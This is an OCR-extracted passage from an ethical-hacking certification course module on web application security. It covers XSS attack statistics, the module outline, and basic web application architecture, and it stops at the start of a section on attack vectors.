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CEHS e c u r i t y  N e w s

S e c u r i t y  N e w s

X S S  A t t a c k s  L e a d  P a c k  A s  M o s t  F r e q u e n t  A t t a c k  T y p e

S o u r c e :  h t t p : / / w w w . d a r k r e a d i n g . c o m

S e c u r e  c l o u d  h o s t i n g  c o m p a n y ,  F i r e H o s t ,  h a s  t o d a y  a n n o u n c e d  t h e  f i n d i n g s  o f  

i t s  l a t e s t  w e b  a p p l i c a t i o n  a t t a c k  r e p o r t ,  w h i c h  p r o v i d e s  s t a t i s t i c a l  a n a l y s i s  o f  t h e  1 5  m i l l i o n  

c y b e r - a t t a c k s  b l o c k e d  b y  i t s  s e r v e r s  i n  t h e  U S  a n d  E u r o p e  d u r i n g  Q 3  2 0 1 2 .  T h e  r e p o r t  l o o k s  a t  

a t t a c k s  o n  t h e  w e b  a p p l i c a t i o n s ,  d a t a b a s e s  a n d  w e b s i t e s  o f  F i r e H o s t ' s  c u s t o m e r s  b e t w e e n  J u l y  

a n d  S e p t e m b e r ,  a n d  o f f e r s  a n  i m p r e s s i o n  o f  t h e  c u r r e n t  i n t e r n e t  s e c u r i t y  c l i m a t e  a s  a w h o l e .

A m o n g s t  t h e  c y b e r - a t t a c k s  r e g i s t e r e d  in  t h e  r e p o r t ,  F i r e H o s t  c a t e g o r i s e s  f o u r  a t t a c k  t y p e s  in  

p a r t i c u l a r  a s  r e p r e s e n t i n g  t h e  m o s t  s e r i o u s  t h r e a t .  T h e s e  a t t a c k  t y p e s  a r e  a m o n g  F i r e H o s t ' s  

,S u p e r f e c t a '  a n d  t h e y  c o n s i s t  o f  C r o s s - s i t e  S c r i p t i n g  (X S S ),  D i r e c t o r y  T r a v e r s a l s ,  S Q L  I n j e c t i o n s ,  

a n d  C r o s s - s i t e  R e q u e s t  F o r g e r y  (C S R F ).

O n e  o f  t h e  m o s t  s i g n i f i c a n t  c h a n g e s  i n  a t t a c k  t r a f f i c  s e e n  b y  F i r e H o s t  b e t w e e n  Q 2  a n d  Q 3  2 0 1 2  

w a s  a c o n s i d e r a b l e  r i s e  in  t h e  n u m b e r  o f  c r o s s - s i t e  a t t a c k s ,  in  p a r t i c u l a r  XSS a n d  C SR F  a t t a c k s  

r o s e  t o  r e p r e s e n t  6 4 %  o f  t h e  g r o u p  in  t h e  t h i r d  q u a r t e r  (a  2 8 %  i n c r e a s e d  p e n e t r a t i o n ) .  XSS is 

n o w  t h e  m o s t  c o m m o n  a t t a c k  t y p e  in  t h e  S u p e r f e c t a ,  w i t h  C SR F  n o w  in  s e c o n d .  F i r e H o s t ' s  

s e r v e r s  b l o c k e d  m o r e  t h a n  o n e  m i l l i o n  XSS a t t a c k s  d u r i n g  t h i s  p e r i o d  a l o n e ,  a f i g u r e  w h i c h  r o s e
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69% , f r o m  6 0 3 ,0 1 6  s e p a ra te  a t ta c k s  in Q 2  t o  1 ,0 1 8 ,8 1 7  in Q 3. CSRF a t ta c k s  re a c h e d  s e c o n d  

p la ce  o n  t h e  S u p e r fe c ta  a t  8 4 3 ,5 1 7 .

C ro ss -s i te  a t ta c k s  a re  d e p e n d e n t  u p o n  th e  t r u s t  d e v e lo p e d  b e t w e e n  s i te  a n d  use r.  XSS a t ta c k s  

in v o lv e  a w e b  a p p l ic a t io n  g a th e r in g  m a l ic io u s  d a ta  f r o m  a u s e r  v ia  a t r u s te d  s i te  ( o f te n  c o m in g  

in t h e  f o r m  o f  a h y p e r l in k  c o n ta in in g  m a l ic io u s  c o n te n t ) ,  w h e r e a s  CSRF a t ta c k s  e x p lo i t  t h e  t r u s t  

t h a t  a s i te  has f o r  a p a r t i c u la r  u s e r  in s te a d .  T h e se  m a l ic io u s  s e c u r i t y  e x p lo i t s  can  a lso  be  used  

t o  s te a l  s e n s i t iv e  i n f o r m a t i o n  such  as u s e r  n a m e s ,  p a s s w o rd s  a n d  c r e d i t  ca rd  d e ta i ls  -  w i t h o u t  

t h e  s i te  o r  u se r 's  k n o w le d g e .

T h e  s e v e r i t y  o f  th e s e  a t ta c k s  is d e p e n d e n t  o n  t h e  s e n s i t i v i t y  o f  t h e  d a ta  h a n d le d  by  t h e  

v u ln e r a b le  s i te  a n d  th is  ra n g e s  f r o m  p e rs o n a l  d a ta  f o u n d  o n  soc ia l  n e t w o r k in g  s i tes , t o  t h e  

f in a n c ia l  a n d  c o n f id e n t ia l  d e ta i ls  e n te r e d  o n  e c o m m e r c e  s i te s  a m o n g s t  o th e r s .  A  g r e a t  n u m b e r  

o f  o rg a n is a t io n s  h a ve  fa l le n  v i c t im  t o  such  a t ta c k s  in r e c e n t  y e a rs  in c lu d in g  a t ta c k s  o n  PayPal, 

H o tm a i l  a n d  eBay , t h e  l a t t e r  f a l l in g  v i c t im  t o  a s in g le  CSRF a t t a c k  in 2 0 0 8  w h ic h  t a r g e te d  18 

m i l l i o n  u se rs  o f  i ts  K o re a n  w e b s i t e .  F u r t h e r m o r e  in S e p te m b e r  th is  y e a r ,  IT g ia n ts  M i c r o s o f t  a n d  

G o o g le  C h r o m e  b o th  ra n  e x te n s iv e  p a tc h e s  ta r g e te d  a t  s e c u r in g  XSS f la w s ,  h ig h l i g h t in g  t h e  

p r e v a le n c e  o f  t h is  g r o w in g  o n l in e  t h r e a t .

"C ro s s -s i te  a t ta c k s  a re  a s e v e re  t h r e a t  t o  b u s in ess  o p e r a t io n s ,  e s p e c ia l ly  i f  s e rv e rs  a r e n ' t  

p r o p e r l y  p r e p a r e d , "  sa id  C hr is  H in k le y ,  CISSP -  a S e n io r  S e c u r i t y  E n g in e e r  a t  F ire H o s t .  " I t 's  v i ta l  

t h a t  a n y  s i te  d e a l in g  w i t h  c o n f id e n t ia l  o r  p r i v a te  u s e r  d a ta  ta k e s  t h e  n e c e s s a ry  p r e c a u t io n s  t o  

e n s u re  a p p l ic a t io n s  r e m a in  p r o t e c te d .  L o c a t in g  a n d  f i x in g  a n y  w e b s i t e  v u l n e r a b i l i t i e s  a n d  f l a w s  

is a ke y  s te p  in e n s u r in g  y o u r  b u s in e s s  a n d  y o u r  c u s to m e rs ,  d o n ' t  fa l l  v i c t im  t o  an  a t t a c k  o f  th is  

n a tu r e .  T h e  c o n s e q u e n c e s  o f  w h ic h  can  be  s ig n i f ic a n t ,  in t e r m s  o f  b o th  f in a n c ia l  a n d  

r e p u t a t i o n a l  d a m a g e . "

T h e  S u p e r fe c ta  a t t a c k  t r a f f i c  f o r  Q 3  2 0 1 2  can  be b r o k e n  d o w n  as fo l l o w s :

As w i t h  Q 2  2 0 1 2 ,  t h e  m a jo r i t y  o f  a t ta c k s  F ire H o s t  b lo c k e d  d u r in g  t h e  t h i r d  c a le n d a r  q u a r t e r  o f  

2 0 1 2  o r ig in a t e d  in t h e  U n i t e d  S ta te s  ( l l m i l l i o n  /  74% ). T h e re  has h o w e v e r ,  b e e n  a g re a t  s h i f t  in 

t h e  n u m b e r  o f  a t ta c k s  o r ig in a t in g  f r o m  E u ro p e  th is  q u a r t e r ,  as 17%  o f  all m a l ic io u s  a t t a c k  t r a f f i c  

seen  by  F ire H o s t  c a m e  f r o m  th is  r e g io n .  E u ro p e  o v e r t o o k  S o u th e r n  A s ia  (w h ic h  w a s  re s p o n s ib le  

f o r  6% ), t o  b e c o m e  th e  s e c o n d  m o s t  l ik e ly  o r ig in  o f  m a l ic io u s  t r a f f ic .

V a r ie d  t r e n d s  a m o n g  th e  S u p e r fe c ta  a t t a c k  t e c h n iq u e s  a re  d e m o n s t r a t e d  b e t w e e n  th is  q u a r t e r  

a n d  las t:

D u r in g  t h e  b u i ld  u p  t o  t h e  h o l id a y  se a so n ,  e c o m m e r c e  a c t i v i t y  ra m p s  u p  d r a m a t i c a l l y  a n d  

c y b e r - a t ta c k s  t h a t  t a r g e t  w e b s i t e  use rs '  c o n f id e n t ia l  d a ta  a re  a lso  l ik e ly  t o  in c re a s e  as a re s u l t .  

As w e l l  as c ro s s -s i te  a t ta c k s ,  t h e  o t h e r  S u p e r fe c ta  a t t a c k  ty p e s ,  SQL In je c t io n  a n d  D i r e c to r y  

T ra n s v e rs a l ,  s t i l l  r e m a in  a s ig n i f ic a n t  t h r e a t  d e s p i te  a s l ig h t  r e d u c t io n  in f r e q u e n c y  th is  q u a r t e r .

E c o m m e r c e  b u s in e sse s  n e e d  t o  be  a w a r e  o f  t h e  r isks t h a t  th is  p e r io d  m a y  p r e s e n t  i t  t o  i ts  

s e c u r i ty ,  as T o d d  G le a s o n ,  D i r e c t o r  o f  T e c h n o lo g y  a t  F i re H o s t  e x p la in s ,  " Y o u 'd  b e t t e r  b e l ie v e  

t h a t  h a c k e rs  w i l l  t r y  a n d  ta k e  a d v a n ta g e  o f  a n y  s u rg e s  in h o l id a y  s h o p p in g .  T h e y  w i l l  be  d e v is in g  

a n u m b e r  o f  w a y s  t h e y  can  t a k e  a d v a n ta g e  o f  a n y  w e b  a p p l ic a t io n  v u ln e r a b i l i t i e s  a n d  w i l l  use 

an a s s o r t m e n t  o f  d i f f e r e n t  a t t a c k  ty p e s  a n d  te c h n iq u e s  t o  d o  so. W h e n  i t 's  a m a t t e r  o f
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c o n f i d e n t i a l  d a t a  a t  r i s k ,  i n c l u d i n g  c u s t o m e r ' s  f i n a n c i a l  i n f o r m a t i o n  -  c r e d i t  c a r d  a n d  d e b i t  c a r d  

d e t a i l s  -  t h e r e ' s  n o  r o o m  f o r  c o m p l a c e n c y .  T h e s e  o r g a n i s a t i o n s  n e e d  t o  k n o w  t h a t  t h e r e ' s  a n  

i n c r e a s e d  l i k e l i h o o d  o f  a t t a c k  d u r i n g  t h i s  t i m e  a n d  i t ' s  t h e i r  r e s p o n s i b i l i t y  t o  t a k e  t h e  n e c e s s a r y  

s t e p s  t o  s t o p  s u c h  a t t a c k s . "

Copyright ©  2013 UBM Tech, A ll rights reserved
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M o d u l e  O b je c t iv e s CEH

J  How Web Applications Work J  Session M anagem ent Attack

J  Web Attack Vectors J  Attack Data Connectivity

J  Web Application Threats J  Attack Web App Client

J  Web App Hacking M ethodology J  Attack Web Services

J  Footprint Web Infrastructure ■ ^  J  Web Application Hacking Tools

J  Hacking W ebServers
־1/

J  Counterm easures

J  Analyze Web Applications J  Web Application Security Tools

J  Attack A uthentication Mechanism J  Web Application Firewall

J  Attack Authorization Schemes J  Web Application Pen Testing

Copyright ©  by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

M o d u l e  O b j e c t i v e s

T h e  m a in  o b je c t i v e  o f  th is  m o d u le  is t o  s h o w  th e  v a r io u s  k in d s  o f  v u ln e r a b i l i t i e s  t h a t  

can  be d is c o v e re d  in w e b  a p p l ic a t io n s .  T h e  a t ta c k s  e x p lo i t in g  th e s e  v u ln e r a b i l i t i e s  a re  a lso  

h ig h l ig h te d .  T h e  m o d u le  s ta r ts  w i t h  a d e ta i l e d  d e s c r ip t i o n  o f  t h e  w e b  a p p l ic a t io n s .  V a r io u s  w e b  

a p p l ic a t io n  t h r e a t s  a re  m e n t io n e d .  T h e  h a c k in g  m e t h o d o l o g y  re v e a ls  t h e  v a r io u s  s te p s  

in v o lv e d  in a p la n n e d  a t ta c k .  T h e  v a r io u s  t o o ls  t h a t  a t ta c k e rs  use  a re  d iscu sse d  t o  e x p la in  t h e  

w a y  t h e y  e x p lo i t  v u ln e r a b i l i t i e s  in w e b  a p p l ic a t io n s .  T h e  c o u n t e r m e a s u r e s  t h a t  can  be  t a k e n  t o  

t h w a r t  a n y  su ch  a t ta c k s  a re  a lso  h ig h l ig h te d .  S e c u r i t y  t o o ls  t h a t  h e lp  n e t w o r k  a d m i n i s t r a t o r  t o  

m o n i t o r  a n d  m a n a g e  th e  w e b  a p p l ic a t i o n  a re  d e s c r ib e d .  F in a l ly  w e b  a p p l ic a t i o n  p e n  t e s t in g  is 

d iscu sse d .

T h is  m o d u le  fa m i l ia r iz e s  y o u  w i t h :

Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil
All Rights Reserved. Reproduction is Strictly Prohibited.

Module 13 Page 1728



Exam 312-50 Certified Ethical HackerEthical Hacking and Countermeasures
Hacking Web Applications

-  S ess ion  M a n a g e m e n t  A t t a c k  

S A t t a c k  D a ta  C o n n e c t iv i t y  

S A t t a c k  W e b  A p p  C l ie n t  

s  A t t a c k  W e b  S erv ices  

S W e b  A p p l i c a t i o n  H a c k in g  T o o ls  

S C o u n te r m e a s u r e s  

s  W e b  A p p l i c a t i o n  S e c u r i ty  T o o ls  

s  W e b  A p p l i c a t i o n  F ire w a l l  

S W e b  A p p l i c a t i o n  Pen T e s t in g

H o w  W e b  A p p l i c a t io n s  W o r k  

W e b  A t t a c k  V e c to rs  

W e b  A p p l i c a t io n  T h re a ts  

W e b  A p p  H a c k in g  M e t h o d o lo g y  

F o o t p r i n t  W e b  In f r a s t r u c tu r e  

H a c k in g  W e b s e rv e r s  

A n a ly z e  W e b  A p p l i c a t io n s  

A t t a c k  A u t h e n t i c a t io n  M e c h a n is m  

A t t a c k  A u t h o r i z a t i o n  S c h e m e s
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־ ־ ^  M o d u l e  F l o w

W e b  a p p l ic a t io n s  a re  t h e  a p p l ic a t i o n  p r o g r a m s  accessed  o n ly  w i t h  I n t e r n e t  

c o n n e c t io n  e n a b le d .  T h e s e  a p p l ic a t io n s  use  HTTP as t h e i r  p r im a r y  c o m m u n ic a t i o n  p r o t o c o l .  

G e n e ra l ly ,  t h e  a t ta c k e rs  t a r g e t  th e s e  a p p s  f o r  s e v e ra l  re a so n s .  T h e y  a re  e x p o s e d  t o  v a r io u s  

a t ta c k s .  For c le a r  u n d e r s t a n d in g  o f  t h e  "h a c k in g  w e b  a p p l i c a t i o n s "  w e  d iv id e d  t h e  c o n c e p t  in to  

v a r io u s  s e c t io n s .

Q W e b  A p p  C o n c e p ts

Q W e b  A p p  T h re a ts

© H a c k in g  M e t h o d o lo g y

Q W e b  A p p l i c a t i o n  H a c k in g  T o o ls

© C o u n te r m e a s u r e s

0  S e c u r i t y  T o o ls

© W e b  A p p  Pen T e s t in g

Let us b e g in  w i t h  t h e  W e b  A p p  c o n c e p ts .
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^  ^  W e b  A p p  P e n  T e s t i n g W e b  A p p  C o n c e p ts

S e c u r i t y  T o o ls W e b  A p p  T h r e a ts

C o u n te r m e a s u r e s ^  H a c k in g  M e t h o d o l o g y

W e b  A p p l i c a t i o n  H a c k in g  T o o ls

T h i s  s e c t i o n  i n t r o d u c e s  y o u  t o  t h e  w e b  a p p l i c a t i o n  a n d  i t s  c o m p o n e n t s ,  e x p l a i n s  h o w  t h e  w e b  

a p p l i c a t i o n  w o r k s ,  a n d  i t s  a r c h i t e c t u r e .  I t  p r o v i d e s  i n s i g h t  i n t o  w e b  2 . 0  a p p l i c a t i o n ,  v u l n e r a b i l i t y  

s t a c k s ,  a n d  w e b  a t t a c k  v e c t o r s .
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CEH
Web Application Security 
Statistics

Cross-Site Scripting 

Information Leakage
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f f  W e b  A p p l i c a t i o n  S e c u r i t y  S t a t i s t i c s

~  S o u rc e :  h t t p s : / / w w w . w h i t e h a t s e c . c o m

A c c o rd in g  t o  t h e  W H IT E H A T  s e c u r i t y  w e b s i t e  s ta t is t ic s  r e p o r t  in 2 0 1 2 ,  i t  is c le a r  t h a t  t h e  c ro ss -  

s i te  s c r ip t i n g  v u ln e r a b i l i t i e s  a re  f o u n d  o n  m o r e  w e b  a p p l ic a t io n s  w h e n  c o m p a r e d  t o  o t h e r  

v u ln e r a b i l i t ie s .  F ro m  th e  g ra p h  y o u  can  o b s e rv e  t h a t  in t h e  y e a r  2 0 1 2 ,  c ro s s -s i te  s c r ip t in g  

v u ln e r a b i l i t i e s  a re  t h e  m o s t  c o m m o n  v u ln e r a b i l i t i e s  f o u n d  in 55%  o f  t h e  w e b  a p p l ic a t io n s .  O n ly  

10%  o f  w e b  a p p l i c a t io n  a t ta c k s  a re  ba se d  o n  i n s u f f i c ie n t  s e s s io n  e x p i r a t i o n  v u ln e r a b i l i t ie s .  In 

o r d e r  t o  m in im iz e  t h e  r isks a s s o c ia te d  w i t h  c ro s s -s i te  s c r ip t in g  v u ln e r a b i l i t i e s  in t h e  w e b  

a p p l ic a t io n s ,  y o u  h a ve  t o  a d o p t  n e c e s s a ry  c o u n te r m e a s u r e s  a g a in s t  t h e m .
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FIGURE 13.1: WHITEHAT SECURITY WEBSITE STATISTICS REPORT, 2012
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I n t r o d u c t i o n  t o  W e b  A p p l i c a t i o n s  C E H

T h o u g h  w e b  a p p lic a t io n s  e n fo rc e  c e r ta in  

s e c u r ity  p o lic ie s , th e y  a re  v u ln e ra b le  

to  v a r io u s  a tta c k s  such  as SQL 

in je c t io n , c ro ss -s ite  s c r ip t in g , 

sess ion  h ija c k in g , e tc .\  * ,

W e b  a p p lic a t io n s  p ro v id e  an in te r fa c e  b e tw e e n  

e n d  users  a nd  w e b  s e rv e rs  th ro u g h  a se t o f  

w e b  pages th a t  a re  g e n e ra te d  a t th e  

s e rve r e n d  o r  c o n ta in  s c r ip t  c o d e  to  

be  e xe c u te d  d y n a m ic a lly  w ith in  

th e  c l ie n t w e b  b ro w s e r

N e w  w e b  te c h n o lo g ie s  such  as 

W e b  2 .0  p ro v id e  m o re  a tta c k  

su rfa ce  fo r  w e b  a p p lic a t io n  

e x p lo ita t io n

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

W e b  a p p l ic a t io n s a n d  W e b  2 .0  

te c h n o lo g ie s  a re  in v a r ia b ly  u s e d  to  

s u p p o r t  c r i t ic a l  b u s in e s s  fu n c t io n s  

s u c h  as C R M , S C M , e tc . a n d  im p r o v e

b u s in e s s  e f f ic ie n c y

I n t r o d u c t i o n  t o  W e b  A p p l i c a t i o n s

W eb app lica tions are the  app lica tion  th a t run on the  rem o te  w eb server and send the  
o u tp u t over the  In te rne t. W eb 2.0 techno log ies are used by all the  app lica tions based on the  
w eb-based servers such as co m m u n ica tio n  w ith  users, clients, th ird -p a rty  users, etc.

A w eb app lica tion  is com prised o f m any layers o f fu n c tio n a lity . H owever, it is considered a 
th re e -la ye re d  a rch itec tu re  consisting o f p resen ta tion , logic, and data layers.

The w eb a rch ite c tu re  relies substan tia lly  on the  techno logy  popula rized by the  W orld  W ide 
W eb, H ypertex t M arkup Language (HTML), and the  p rim ary  tra n sp o rt m ed ium , e.g. Hyper Text 
T ransfer P rotocol (HTTP). HTTP is the  m ed ium  o f com m un ica tion  be tw een the  server and the  
c lien t. Typically, it opera tes over TCP p o rt 80, bu t it may also com m un ica te  over an unused 
po rt.

W eb app lica tions p rov ide  an in te rface  be tw een end users and w eb servers th rough  a set o f 
w eb pages th a t are generated at the  server end o r con ta in  scrip t code to  be executed 
dynam ica lly  w ith in  the  c lien t w eb brow ser.

Some o f the  popu la r w eb servers p resent today  are M ic ro so ft IIS, Apache Softw are 
Foundation 's  Apache HTTP Server, AO L/Netscape's Enterprise Server, and Sun One. Resources 
are called U n ifo rm  Resource Iden tifie rs  (URIs), and th e y  may e ith e r be sta tic  pages o r conta in  
dynam ic con ten t. Since HTTP is stateless, e.g., the  p ro to co l does no t m a in ta in  a session state,
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the  requests fo r  resources are trea ted  as separate and unique. Thus, the  in te g rity  o f a link is no t 
m a in ta ined  w ith  the  c lien t.

Cookies can be used as tokens, w h ich  servers hand over to  c lien ts to  a llow  access to  w ebsites. 
However, cookies are no t pe rfec t fro m  a security  p o in t o f v iew  because they  can be copied and 
stored on the  c lien t's  local hard disk, so th a t users do no t have to  request a token  fo r  each 
query. Though w eb app lica tions enforce certa in  security  policies, they  are vu lnerab le  to  various 
attacks such as SQL in jec tion , cross-site scrip ting , session h ijacking, etc. O rganizations re ly on 
w e b  a p p lica tio n s  and W eb 2.0 techno log ies to  suppo rt key business processes and im prove  
pe rfo rm ance. New w eb techno log ies such as W eb 2.0 p rov ide  m ore a ttack  surface fo r  w eb 
app lica tion  e xp lo ita tio n .

A ttackers use d iffe re n t types o f vu lne rab ilitie s  th a t can be d iscovered in w eb app lica tions and 
e xp lo it them  to  com prom ise  w eb app lica tions. A ttackers also use too ls  to  launch attacks on 
w eb app lica tions.
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W e b  A p p l i c a t i o n  C o m p o n e n t s C
Urtifwd

E H
itfcMjl NMhM

1

IS

C o p y r ig h t © by  E&Coinal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

^  W e b  A p p l i c a t i o n  C o m p o n e n t s

The com ponen ts  o f w eb app lica tions are listed as fo llow s

Login: M ost o f the  w ebsites a llow  a u th e n tic  users to  access the  app lica tion  by means o f login. It 
means th a t to  access the  service o r co n te n t o ffe red  by the  w eb app lica tion  user needs to  
subm it h is /he r usernam e and password. Example gm ail.com

The Web Server: It refers to  e ith e r so ftw a re  o r hardw are  in tended  to  de live r w eb co n te n t th a t 
can be accessed th rough  the  In te rne t. An exam ple is th e  w eb pages served to  the  w eb brow ser 
by the  w eb server.

Session Tracking Mechanism: Each w eb app lica tion  has a session tra ck in g  m echanism . The 
session can be tracked by using cookies, URL re w riting , o r Secure Sockets Layer (SSL) 
in fo rm a tio n .

User Permissions: W hen you are no t a llow ed to  access th e  specified w eb page in w h ich  you are 
logged in w ith  user perm issions, you may red irec t again to  the  login page or to  any o th e r page.

The Application Content: It is an in te rac tive  program  th a t accepts w eb requests by c lien ts and 
uses the  param eters th a t are sent by the  w eb brow ser fo r  carry ing  o u t certa in  functions.

Data Access: Usually the  w eb pages w ill be con tac ting  w ith  each o th e r via a data access lib ra ry  
in w h ich  all th e  database deta ils  are stored.
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The Data Store: It is a w ay to  the  im p o rta n t data th a t is shared and synchron ized  be tw een  the  
ch ild re n /th re a ts . This stored in fo rm a tio n  is qu ite  im p o rta n t and necessary fo r  h igher levels o f 
the  app lica tion  fra m e w o rk . It is no t m anda to ry  th a t the  data store  and the  w eb server are on 
the  same ne tw ork . They can be in con tac t o r accessible w ith  each o th e r th ro u g h  the  n e tw o rk  
connection .

Role-level System Security

Application Logic: Usually w eb app lica tions are d iv ided in to  tie rs  o f w h ich  the  app lica tion  logic 
is the  m idd le  tie r. It receives the  request fro m  the  w eb b row ser and gives it services 
accordingly. The services o ffe red  by the  app lica tion  logic inc lude asking questions and giving 
the  la test updates against the  database as w e ll as genera ting  a user in te rface .

Logout: An ind iv idua l can shut dow n or log o u t o f the  w eb app lica tion  o r b row ser so th a t the  
session and th e  app lica tion  associated w ith  it end. The app lica tion  ends e ith e r by tak ing  the  
in itia tive  by the  app lica tion  logic o r by a u tom a tica lly  end ing w hen the  se rv le t session tim es ou t.
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H o w  W e b  A p p l i c a t i o n s  W o r k  C E H

SELECT *  f r o m  new s w h e re  i d  = 6 3 2 9

O u tp u t

ID Topic News

6329 Tech CNN

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

H o w  W e b  A p p l i c a t i o n s  W o r k

W henever som eone clicks o r types in the  brow ser, im m ed ia te ly  the  requested w ebsite  
o r co n te n t is d isplayed on the  screen o f the  com pu te r, bu t w h a t is the  m echanism  behind this? 
This is th e  step-by-step  process th a t takes place once a user sends a request fo r  pa rticu la r 
co n te n t o r a w ebsite  w here  m u ltip le  com pute rs  are involved.

The w eb app lica tion  m odel is expla ined in th re e  layers. The firs t layer deals w ith  the  user inpu t 
th rough  a w eb b row ser o r user in te rface . The second layer conta ins JSP (Java servlets) o r ASP 
(Active Server Pages), the  dynam ic co n te n t genera tion  te ch n o lo g y  to o ls , and the  last layer 
conta ins the  database fo r  s to ring  cus tom er data such as user names and passwords, c red it card 
deta ils, etc. o r o th e r re la ted in fo rm a tio n .

Let's see how  the  user tr igge rs  th e  in itia l request th rough  the  b row ser to  the  w eb app lica tion  
server:

© First the  user types the  w ebs ite  nam e or URL in th e  b row ser and the  request is sent to  
the  w eb server.

© On receiving the  request ,the  w eb  se rver checks th e  file  extension:

© If the  user requests a s im ple w eb page w ith  an HTM or HTML extension , the  w eb 
server processes the  request and sends the  file  to  the  user's brow ser.
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© If the  user requests a w eb page w ith  th e  extension CFM, CFML, o r CFC, then  the  
request m ust be processed by the  w eb app lica tion  server.

T here fo re , the  w eb server passes the  user's request to  the  w eb app lica tion  server. 
The user's request is now  processed by the  w eb a p p lica tio n  server. In o rd e r to  
process the  user's request, the  w eb server accesses the  database placed at the  th ird  
layer to  pe rfo rm  the  requested task by upda ting  o r re tr ie v in g  the  in fo rm a tio n  stored 
on the  database. Once done processing th e  request, w eb app lica tion  server sends 
the  results to  the  w eb server, w h ich  in tu rn  sends the  results to  the  user's brow ser.

User Login Form Internet Firewall Web Server

FIGURE 1 3 .2 : W o rk in g  o f  W e b  A p p lic a t io n
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W e b  A p p l i c a t i o n  A r c h i t e c t u r e  C  E H
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C on ta ine r
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W e b  A p p l i c a t i o n  A r c h i t e c t u r e

All w eb app lica tions execute w ith  the  help o f the  w eb brow ser as a suppo rt c lien t. The 
w eb app lica tions use a group o f server-side scripts (ASP, PHP, etc.) and c lien t-s ide  scrip ts  
(HTML, JavaScript, etc.) to  execute the  app lica tion . The in fo rm a tio n  is presented by using the  
c lien t-s ide  scrip t and the  hardw are  tasks such as s to ring  and ga the ring  requ ired  data by the  
server-s ide scrip t.

In the  fo llo w in g  a rch itec tu re , the  c lients uses d iffe re n t devices, w eb browsers, and externa l 
w eb services w ith  the  In te rn e t to  get the  app lica tion  executed using d iffe re n t scrip ting  
languages. The data access is handled by the  database laye r using c loud  services and a 
database server.
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FIGURE 1 3 .3 : W e b  A p p lic a t io n  A rc h ite c tu re
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W e b  2 . 0  A p p l i c a t i o n s  C  E H
C«rt1fW4 itfciul NMkM

J  W e b  2 .0  re fe rs  to  a n e w  g e n e ra tio n  o f  W e b  a p p lic a t io n s  th a t  p ro v id e  an in f ra s t ru c tu re  fo r  m o re  d y n a m ic  

u se r p a r t ic ip a t io n , so c ia l in te ra c t io n  a nd  c o lla b o ra t io n

Blogs (W ordpress)
Q  Advanced gaming

O Dynam ic as opposed to  s ta tic  s ite  con ten t

O RSS-generated syndication

O  Social ne tw o rk in g  s ites (Flickr, 
'  Facebook, del.c io.us)

v״ ..rid'׳׳'«»?
'  Q  Mash-ups (Emails, IMs, Electronic 

f  payment systems)

O W ikis and o th e r co llabora tive  applications

Q  Google Base and other free Web services 
(Google Maps)

o  o

New technologies like AJAX (Gmail, YouTube) Q

M o b ile  app lica tion  (iPhone) O

Flash rich interface websites O

Fram ew orks (Yahool Ul 
Library, jQ uery)

Cloud computing websites like W  
(amazon.com) ^

In te rac tive  encyclopedias and d ic tionaries O
ine office software (Google Docs and Microsoft light)

Ease o f data creation , m od ifica tion , o r 
de le tio n  by ind iv idua l users

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

W e b  2 . 0  A p p l i c a t i o n s

W eb 2.0 re fers to  a new  genera tion  o f w eb app lica tions th a t p rov ide  an in fra s tru c tu re  
fo r  m ore dynam ic user p a rtic ipa tion , social in te rac tion , and co llabo ra tio n . It o ffe rs  various 
fea tu res  such as:

© Advanced gam ing

© Dynam ic as opposed to  sta tic  site co n te n t 

© RSS-generated synd ication

© Social ne tw o rk ing  sites (Flickr, Facebook, del.cio.us)

© M ash-ups (em ails, IMs, e lec tron ic  paym ent systems)

© W ikis and o th e r co llabora tive  app lica tions 

© Google Base and o th e r free  w eb services (Google Maps)

© Ease o f data c rea tion , m od ifica tion , o r de le tion  by ind iv idua l users 

© O nline o ffice  so ftw a re  (Google Docs and M ic ro so ft Light)

© In te rac tive  encyclopedias and d ic tionaries 

© Cloud com pu ting  w ebsites such as Am azon.com
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6 Fram eworks (Yahoo! Ul Library, j Query)

© Flash-rich in te rface  w ebsites 

Q M ob ile  app lica tion  (iPhone)

Q New techno log ies like AJAX (Gmail, YouTube) 

© Blogs (W ordpress)
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C E HV u l n e r a b i l i t y  S t a c k

_

C u s to m  W e b  A p p lic a t io n s B _
B u s in e s s  L og ic  F la w s  

T e c h n ic a l V u ln e r a b i l i t ie s

T h ir d  P a r ty  C o m p o n e n ts E l E O p e n  S o u rc e  /  C o m m e rc ia l

f ^ w־ r O ra c le  /  M y S Q L  /  M S  SQL

A p a c h e  /  M ic r o s o f t  IIS
Apache

W in d o w s  /  L in u x  

/OSX

R o u te r  /  S w itc h

IPS /  IDS
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D a ta b a s e  

W e b  S e rv e r  

O p e r a t in g  S y s te m  

N e tw o r k  

S e c u r ity

V u l n e r a b i l i t y  S t a c k

i f - The w eb app lica tions are m a in ta ined  and accessed th rough  various levels th a t include: 
custom  w eb app lica tions, th ird -p a rty  com ponen ts , databases, w eb servers, ope ra ting  systems, 
ne tw orks, and security. A ll the  m echanism s o r services em ployed a t each level help the  user in 
one o r th e  o th e r w ay to  access the  w eb app lica tion  securely. W hen ta lk ing  abou t w eb 
app lica tions, security  is a c ritica l com ponen t to  be considered because w eb app lica tions are a 
m a jo r sources o f attacks. The fo llo w in g  v u ln e ra b ility  stack shows the  levels and the  
correspond ing  e lem en t/m ech an ism /se rv ice  em ployed at each level th a t makes the  w eb 
app lica tions vu lne rab le :
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Business Logic Flaws 
Technical Vulnerabilities

Open Source /  Commercial

Oracle /  MySQL /  MS SQL

Apache /  Microsoft IIS

Windows /  Linux 
/O S  X

Router /  Switch

IPS /ID S

Ethical Hacking and Countermeasures
Hacking Web Applications

Custom Web Applications

Third Party Components

Security

FIGURE 1 3 .4 : V u ln e r a b i l i t y  S ta ck
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C E H

(

־ ־ ־

W e b  A t t a c k  V e c t o r s

A n  a t ta c k  v e c to r  is a p a th  o r  m e a n s  b y  w h ic h  a n  a t ta c k e r  ca n  g a in  

